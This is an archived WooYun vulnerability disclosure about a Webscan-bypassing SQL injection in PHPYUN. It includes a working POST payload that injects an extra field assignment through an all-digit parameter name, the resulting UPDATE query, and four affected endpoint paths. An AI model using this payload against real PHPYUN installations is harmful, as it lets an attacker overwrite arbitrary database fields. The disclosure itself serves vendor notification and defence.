漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0135603
漏洞标题:PHPYUN最新版Webscan绕过注入四处(可修改任意字段值)
相关厂商:php云人才系统
漏洞作者: menmen519
提交时间:2015-08-25 17:21
修复时间:2015-11-23 17:46
公开时间:2015-11-23 17:46
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-08-25: 细节已通知厂商并且等待厂商处理中
2015-08-25: 厂商已经确认,细节仅向厂商公开
2015-08-28: 细节向第三方安全合作伙伴开放
2015-10-19: 细节向核心白帽子及相关领域专家公开
2015-10-29: 细节向普通白帽子公开
2015-11-08: 细节向实习白帽子公开
2015-11-23: 细节向公众公开
简要描述:
PHPYUN最新版Webscan绕过注入四处(可修改任意字段值)
详细说明:
漏洞参考:
WooYun: PHPYUN最新版Webscan绕过注入四处(可遍历全站信息,无需登录)
看看 站点是怎么修补的:
修补方案就是,设计缺陷为:
1.preg_match("/^[a-zA-Z0-9_]+$/",$k) 让这个成立
2. if(preg_match('/^[0-9]+$/', $k)){
$ValuesStr.=','.$v;
当key 为纯数字组成的时候,直接连接后面的值 这个就存在很大的风险了
发布一个微简历
我的简历密码是admin
然后记住这个id
访问url:
http://localhost/phpyun/tiny/index.php?admin_dir=admin
postdata:
username=test123&sex=7&exp=18&job=ccc&mobile=15802991419&qq=11111111&123455=`qq`%3d@@VERSION where `id`=1%23&password=admin&authcode=ag31&id=1&submit=%B7%A2%B2%BC
抓取的sql语句为:
UPDATE `phpyun_resume_tiny` SET `username`='test123',`sex`='7',`exp`='18',`job`='ccc',`mobile`='15802991419',`qq`='11111111',`qq`=@@VERSION where `id`=1#,`status`='1',`login_ip`='',`time`='1440051620' WHERE 1 and `id`='1'
查看这个简历:
其他漏洞点原理一模一样,都可以修改任意字段
1.http://localhost/phpyun40/upload/tiny/index.php?admin_dir=admin
2.http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=index&m=friend&a=saveinfo
3.http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
4.http://localhost/phpyun40/upload/index.php?admin_dir=admin&c=once&m=wap&a=add
原理参考最上面的链接就好
漏洞证明:
修复方案:
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2015-08-25 17:44
厂商回复:
感谢提供,我们会尽快修复!
最新状态:
暂无